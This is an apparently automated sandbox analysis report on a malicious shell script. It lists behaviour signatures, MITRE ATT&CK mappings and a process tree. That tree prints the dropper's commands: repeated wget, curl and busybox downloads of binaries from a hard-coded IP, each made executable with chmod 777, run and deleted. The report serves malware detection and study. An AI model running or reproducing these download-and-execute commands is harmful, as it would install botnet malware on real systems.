aa39944ef6e2e4df4e2baf780eabac483975413142be9aee68cdcd069ad605f6

Analysis

max time kernel
19s
max time network
20s
platform
debian-9_armhf
resource
debian9-armhf-20240418-en
resource tags

arch:armhfimage:debian9-armhf-20240418-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
18/10/2024, 02:27

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

aa39944ef6e2e4df4e2baf780eabac483975413142be9aee68cdcd069ad605f6.sh
Size

10KB
MD5

5df47113727a7b75e9023a09ffc504f2
SHA1

fda1c0a9a5ae07a024ec2e0297ce177c6ac5ad6f
SHA256

aa39944ef6e2e4df4e2baf780eabac483975413142be9aee68cdcd069ad605f6
SHA512

858e3b26bc40be548a382d6c9a350b657cab7aedf61fcd04d28c302a0d31d1afb3b1ca6188461cf8051ab9620206bd174c64ec7d538ad532e36734f5088512ce
SSDEEP

192:eWYAVCOCC4urk0c75B4rWYAVCOs5B4STV:edCrrk0c75B4f5B4STV

Score

7^/10

antivm defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 13 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
707	chmod
727	chmod
754	chmod
769	chmod
781	chmod
793	chmod
799	chmod
819	chmod
669	chmod
775	chmod
787	chmod
805	chmod
813	chmod

Executes dropped EXE 13 IoCs

ioc	pid	Process
/tmp/wZbpQzaqUgdNKD5pA61V209uS87QKNMe9N	671	wZbpQzaqUgdNKD5pA61V209uS87QKNMe9N
/tmp/yAcgTFBhTSMWeM2U4VzTDROyNcaITCIqu3	709	yAcgTFBhTSMWeM2U4VzTDROyNcaITCIqu3
/tmp/v0O1uVB9c48x2fNFvm4Vh7bmF4Ki7INoSU	728	v0O1uVB9c48x2fNFvm4Vh7bmF4Ki7INoSU
/tmp/JyEJeUjSNg7TF3z3yauQMgjbbNTqJFWn5O	756	JyEJeUjSNg7TF3z3yauQMgjbbNTqJFWn5O
/tmp/ILAhCew6YHzW1WJvSA5UoFMLNFEMKoyiMZ	770	ILAhCew6YHzW1WJvSA5UoFMLNFEMKoyiMZ
/tmp/OsaCb2coYK6zPLezcKO1wQBKXby8hSUdF4	776	OsaCb2coYK6zPLezcKO1wQBKXby8hSUdF4
/tmp/dyViBq5HtqVHvCrm3m0fQMgiqnyGNQhHmP	782	dyViBq5HtqVHvCrm3m0fQMgiqnyGNQhHmP
/tmp/4w1U7Eqs2MxDSXGW0LHpH1cBstkynNzB7U	788	4w1U7Eqs2MxDSXGW0LHpH1cBstkynNzB7U
/tmp/M3FHB3RBrOOElhBbDxIQhN6xs0UGXjPVfx	794	M3FHB3RBrOOElhBbDxIQhN6xs0UGXjPVfx
/tmp/UpcmTQFBtIxbP16NM2xoCpDVLxRqz21fzZ	800	UpcmTQFBtIxbP16NM2xoCpDVLxRqz21fzZ
/tmp/NZ8LEZI7hs4RZGFCE2inGCQ46RYgt7P6jP	806	NZ8LEZI7hs4RZGFCE2inGCQ46RYgt7P6jP
/tmp/oJIvOoC20kLxf3lBzz8ebj3nOTJxXTWbMf	814	oJIvOoC20kLxf3lBzz8ebj3nOTJxXTWbMf
/tmp/NCcJ5hH8wNAdrlWjWs48R1HElg3Bq85JoU	820	NCcJ5hH8wNAdrlWjWs48R1HElg3Bq85JoU

Checks CPU configuration 1 TTPs 13 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl

Reads runtime system information 26 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl

Writes file to tmp directory 13 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/M3FHB3RBrOOElhBbDxIQhN6xs0UGXjPVfx	curl
File opened for modification	/tmp/NZ8LEZI7hs4RZGFCE2inGCQ46RYgt7P6jP	curl
File opened for modification	/tmp/oJIvOoC20kLxf3lBzz8ebj3nOTJxXTWbMf	curl
File opened for modification	/tmp/wZbpQzaqUgdNKD5pA61V209uS87QKNMe9N	curl
File opened for modification	/tmp/yAcgTFBhTSMWeM2U4VzTDROyNcaITCIqu3	curl
File opened for modification	/tmp/v0O1uVB9c48x2fNFvm4Vh7bmF4Ki7INoSU	curl
File opened for modification	/tmp/JyEJeUjSNg7TF3z3yauQMgjbbNTqJFWn5O	curl
File opened for modification	/tmp/ILAhCew6YHzW1WJvSA5UoFMLNFEMKoyiMZ	curl
File opened for modification	/tmp/OsaCb2coYK6zPLezcKO1wQBKXby8hSUdF4	curl
File opened for modification	/tmp/dyViBq5HtqVHvCrm3m0fQMgiqnyGNQhHmP	curl
File opened for modification	/tmp/4w1U7Eqs2MxDSXGW0LHpH1cBstkynNzB7U	curl
File opened for modification	/tmp/UpcmTQFBtIxbP16NM2xoCpDVLxRqz21fzZ	curl
File opened for modification	/tmp/NCcJ5hH8wNAdrlWjWs48R1HElg3Bq85JoU	curl

/tmp/aa39944ef6e2e4df4e2baf780eabac483975413142be9aee68cdcd069ad605f6.sh
/tmp/aa39944ef6e2e4df4e2baf780eabac483975413142be9aee68cdcd069ad605f6.sh
1⤵
PID:637
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:639
- /usr/bin/wget
  wget http://87.120.84.230/bins/wZbpQzaqUgdNKD5pA61V209uS87QKNMe9N
  2⤵
  PID:641
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/wZbpQzaqUgdNKD5pA61V209uS87QKNMe9N
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:659
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/wZbpQzaqUgdNKD5pA61V209uS87QKNMe9N
  2⤵
  PID:667
- /bin/chmod
  chmod 777 wZbpQzaqUgdNKD5pA61V209uS87QKNMe9N
  2⤵
  - File and Directory Permissions Modification
  PID:669
- /tmp/wZbpQzaqUgdNKD5pA61V209uS87QKNMe9N
  ./wZbpQzaqUgdNKD5pA61V209uS87QKNMe9N
  2⤵
  - Executes dropped EXE
  PID:671
- /bin/rm
  rm wZbpQzaqUgdNKD5pA61V209uS87QKNMe9N
  2⤵
  PID:672
- /usr/bin/wget
  wget http://87.120.84.230/bins/yAcgTFBhTSMWeM2U4VzTDROyNcaITCIqu3
  2⤵
  PID:673
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/yAcgTFBhTSMWeM2U4VzTDROyNcaITCIqu3
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:674
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/yAcgTFBhTSMWeM2U4VzTDROyNcaITCIqu3
  2⤵
  PID:679
- /bin/chmod
  chmod 777 yAcgTFBhTSMWeM2U4VzTDROyNcaITCIqu3
  2⤵
  - File and Directory Permissions Modification
  PID:707
- /tmp/yAcgTFBhTSMWeM2U4VzTDROyNcaITCIqu3
  ./yAcgTFBhTSMWeM2U4VzTDROyNcaITCIqu3
  2⤵
  - Executes dropped EXE
  PID:709
- /bin/rm
  rm yAcgTFBhTSMWeM2U4VzTDROyNcaITCIqu3
  2⤵
  PID:710
- /usr/bin/wget
  wget http://87.120.84.230/bins/v0O1uVB9c48x2fNFvm4Vh7bmF4Ki7INoSU
  2⤵
  PID:711
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/v0O1uVB9c48x2fNFvm4Vh7bmF4Ki7INoSU
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:718
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/v0O1uVB9c48x2fNFvm4Vh7bmF4Ki7INoSU
  2⤵
  PID:725
- /bin/chmod
  chmod 777 v0O1uVB9c48x2fNFvm4Vh7bmF4Ki7INoSU
  2⤵
  - File and Directory Permissions Modification
  PID:727
- /tmp/v0O1uVB9c48x2fNFvm4Vh7bmF4Ki7INoSU
  ./v0O1uVB9c48x2fNFvm4Vh7bmF4Ki7INoSU
  2⤵
  - Executes dropped EXE
  PID:728
- /bin/rm
  rm v0O1uVB9c48x2fNFvm4Vh7bmF4Ki7INoSU
  2⤵
  PID:729
- /usr/bin/wget
  wget http://87.120.84.230/bins/JyEJeUjSNg7TF3z3yauQMgjbbNTqJFWn5O
  2⤵
  PID:730
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/JyEJeUjSNg7TF3z3yauQMgjbbNTqJFWn5O
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:731
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/JyEJeUjSNg7TF3z3yauQMgjbbNTqJFWn5O
  2⤵
  PID:732
- /bin/chmod
  chmod 777 JyEJeUjSNg7TF3z3yauQMgjbbNTqJFWn5O
  2⤵
  - File and Directory Permissions Modification
  PID:754
- /tmp/JyEJeUjSNg7TF3z3yauQMgjbbNTqJFWn5O
  ./JyEJeUjSNg7TF3z3yauQMgjbbNTqJFWn5O
  2⤵
  - Executes dropped EXE
  PID:756
- /bin/rm
  rm JyEJeUjSNg7TF3z3yauQMgjbbNTqJFWn5O
  2⤵
  PID:757
- /usr/bin/wget
  wget http://87.120.84.230/bins/ILAhCew6YHzW1WJvSA5UoFMLNFEMKoyiMZ
  2⤵
  PID:759
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/ILAhCew6YHzW1WJvSA5UoFMLNFEMKoyiMZ
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:764
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/ILAhCew6YHzW1WJvSA5UoFMLNFEMKoyiMZ
  2⤵
  PID:768
- /bin/chmod
  chmod 777 ILAhCew6YHzW1WJvSA5UoFMLNFEMKoyiMZ
  2⤵
  - File and Directory Permissions Modification
  PID:769
- /tmp/ILAhCew6YHzW1WJvSA5UoFMLNFEMKoyiMZ
  ./ILAhCew6YHzW1WJvSA5UoFMLNFEMKoyiMZ
  2⤵
  - Executes dropped EXE
  PID:770
- /bin/rm
  rm ILAhCew6YHzW1WJvSA5UoFMLNFEMKoyiMZ
  2⤵
  PID:771
- /usr/bin/wget
  wget http://87.120.84.230/bins/OsaCb2coYK6zPLezcKO1wQBKXby8hSUdF4
  2⤵
  PID:772
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/OsaCb2coYK6zPLezcKO1wQBKXby8hSUdF4
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:773
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/OsaCb2coYK6zPLezcKO1wQBKXby8hSUdF4
  2⤵
  PID:774
- /bin/chmod
  chmod 777 OsaCb2coYK6zPLezcKO1wQBKXby8hSUdF4
  2⤵
  - File and Directory Permissions Modification
  PID:775
- /tmp/OsaCb2coYK6zPLezcKO1wQBKXby8hSUdF4
  ./OsaCb2coYK6zPLezcKO1wQBKXby8hSUdF4
  2⤵
  - Executes dropped EXE
  PID:776
- /bin/rm
  rm OsaCb2coYK6zPLezcKO1wQBKXby8hSUdF4
  2⤵
  PID:777
- /usr/bin/wget
  wget http://87.120.84.230/bins/dyViBq5HtqVHvCrm3m0fQMgiqnyGNQhHmP
  2⤵
  PID:778
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/dyViBq5HtqVHvCrm3m0fQMgiqnyGNQhHmP
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:779
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/dyViBq5HtqVHvCrm3m0fQMgiqnyGNQhHmP
  2⤵
  PID:780
- /bin/chmod
  chmod 777 dyViBq5HtqVHvCrm3m0fQMgiqnyGNQhHmP
  2⤵
  - File and Directory Permissions Modification
  PID:781
- /tmp/dyViBq5HtqVHvCrm3m0fQMgiqnyGNQhHmP
  ./dyViBq5HtqVHvCrm3m0fQMgiqnyGNQhHmP
  2⤵
  - Executes dropped EXE
  PID:782
- /bin/rm
  rm dyViBq5HtqVHvCrm3m0fQMgiqnyGNQhHmP
  2⤵
  PID:783
- /usr/bin/wget
  wget http://87.120.84.230/bins/4w1U7Eqs2MxDSXGW0LHpH1cBstkynNzB7U
  2⤵
  PID:784
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/4w1U7Eqs2MxDSXGW0LHpH1cBstkynNzB7U
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:785
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/4w1U7Eqs2MxDSXGW0LHpH1cBstkynNzB7U
  2⤵
  PID:786
- /bin/chmod
  chmod 777 4w1U7Eqs2MxDSXGW0LHpH1cBstkynNzB7U
  2⤵
  - File and Directory Permissions Modification
  PID:787
- /tmp/4w1U7Eqs2MxDSXGW0LHpH1cBstkynNzB7U
  ./4w1U7Eqs2MxDSXGW0LHpH1cBstkynNzB7U
  2⤵
  - Executes dropped EXE
  PID:788
- /bin/rm
  rm 4w1U7Eqs2MxDSXGW0LHpH1cBstkynNzB7U
  2⤵
  PID:789
- /usr/bin/wget
  wget http://87.120.84.230/bins/M3FHB3RBrOOElhBbDxIQhN6xs0UGXjPVfx
  2⤵
  PID:790
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/M3FHB3RBrOOElhBbDxIQhN6xs0UGXjPVfx
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:791
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/M3FHB3RBrOOElhBbDxIQhN6xs0UGXjPVfx
  2⤵
  PID:792
- /bin/chmod
  chmod 777 M3FHB3RBrOOElhBbDxIQhN6xs0UGXjPVfx
  2⤵
  - File and Directory Permissions Modification
  PID:793
- /tmp/M3FHB3RBrOOElhBbDxIQhN6xs0UGXjPVfx
  ./M3FHB3RBrOOElhBbDxIQhN6xs0UGXjPVfx
  2⤵
  - Executes dropped EXE
  PID:794
- /bin/rm
  rm M3FHB3RBrOOElhBbDxIQhN6xs0UGXjPVfx
  2⤵
  PID:795
- /usr/bin/wget
  wget http://87.120.84.230/bins/UpcmTQFBtIxbP16NM2xoCpDVLxRqz21fzZ
  2⤵
  PID:796
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/UpcmTQFBtIxbP16NM2xoCpDVLxRqz21fzZ
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:797
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/UpcmTQFBtIxbP16NM2xoCpDVLxRqz21fzZ
  2⤵
  PID:798
- /bin/chmod
  chmod 777 UpcmTQFBtIxbP16NM2xoCpDVLxRqz21fzZ
  2⤵
  - File and Directory Permissions Modification
  PID:799
- /tmp/UpcmTQFBtIxbP16NM2xoCpDVLxRqz21fzZ
  ./UpcmTQFBtIxbP16NM2xoCpDVLxRqz21fzZ
  2⤵
  - Executes dropped EXE
  PID:800
- /bin/rm
  rm UpcmTQFBtIxbP16NM2xoCpDVLxRqz21fzZ
  2⤵
  PID:801
- /usr/bin/wget
  wget http://87.120.84.230/bins/NZ8LEZI7hs4RZGFCE2inGCQ46RYgt7P6jP
  2⤵
  PID:802
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/NZ8LEZI7hs4RZGFCE2inGCQ46RYgt7P6jP
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:803
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/NZ8LEZI7hs4RZGFCE2inGCQ46RYgt7P6jP
  2⤵
  PID:804
- /bin/chmod
  chmod 777 NZ8LEZI7hs4RZGFCE2inGCQ46RYgt7P6jP
  2⤵
  - File and Directory Permissions Modification
  PID:805
- /tmp/NZ8LEZI7hs4RZGFCE2inGCQ46RYgt7P6jP
  ./NZ8LEZI7hs4RZGFCE2inGCQ46RYgt7P6jP
  2⤵
  - Executes dropped EXE
  PID:806
- /bin/rm
  rm NZ8LEZI7hs4RZGFCE2inGCQ46RYgt7P6jP
  2⤵
  PID:807
- /usr/bin/wget
  wget http://87.120.84.230/bins/oJIvOoC20kLxf3lBzz8ebj3nOTJxXTWbMf
  2⤵
  PID:809
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/oJIvOoC20kLxf3lBzz8ebj3nOTJxXTWbMf
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:811
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/oJIvOoC20kLxf3lBzz8ebj3nOTJxXTWbMf
  2⤵
  PID:812
- /bin/chmod
  chmod 777 oJIvOoC20kLxf3lBzz8ebj3nOTJxXTWbMf
  2⤵
  - File and Directory Permissions Modification
  PID:813
- /tmp/oJIvOoC20kLxf3lBzz8ebj3nOTJxXTWbMf
  ./oJIvOoC20kLxf3lBzz8ebj3nOTJxXTWbMf
  2⤵
  - Executes dropped EXE
  PID:814
- /bin/rm
  rm oJIvOoC20kLxf3lBzz8ebj3nOTJxXTWbMf
  2⤵
  PID:815
- /usr/bin/wget
  wget http://87.120.84.230/bins/NCcJ5hH8wNAdrlWjWs48R1HElg3Bq85JoU
  2⤵
  PID:816
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/NCcJ5hH8wNAdrlWjWs48R1HElg3Bq85JoU
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:817
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/NCcJ5hH8wNAdrlWjWs48R1HElg3Bq85JoU
  2⤵
  PID:818
- /bin/chmod
  chmod 777 NCcJ5hH8wNAdrlWjWs48R1HElg3Bq85JoU
  2⤵
  - File and Directory Permissions Modification
  PID:819
- /tmp/NCcJ5hH8wNAdrlWjWs48R1HElg3Bq85JoU
  ./NCcJ5hH8wNAdrlWjWs48R1HElg3Bq85JoU
  2⤵
  - Executes dropped EXE
  PID:820
- /bin/rm
  rm NCcJ5hH8wNAdrlWjWs48R1HElg3Bq85JoU
  2⤵
  PID:821
- /usr/bin/wget
  wget http://87.120.84.230/bins/uJGsfcn78H2Kio2mqHTsTmvgzSiRStmMMe
  2⤵
  PID:822

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

/tmp/wZbpQzaqUgdNKD5pA61V209uS87QKNMe9N

Filesize
153B

MD5
998368d7c95ea4293237f2320546e440

SHA1
30dfd2d3bb8a7e3241bd7792e90a98ebb70be3a4

SHA256
533a1ca5d6595793725bca7641d9461a0f00dd1732dded3e4281196f5dd21736

SHA512
648c4720a85dbf834be1ba00f0e1b4167cc670fe15896efb00a77fb6e0c225a13aae3da10d85fa6e7f726420d9bb3c20c43466e02296d44153c127b7160e0b97

Download Submit

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads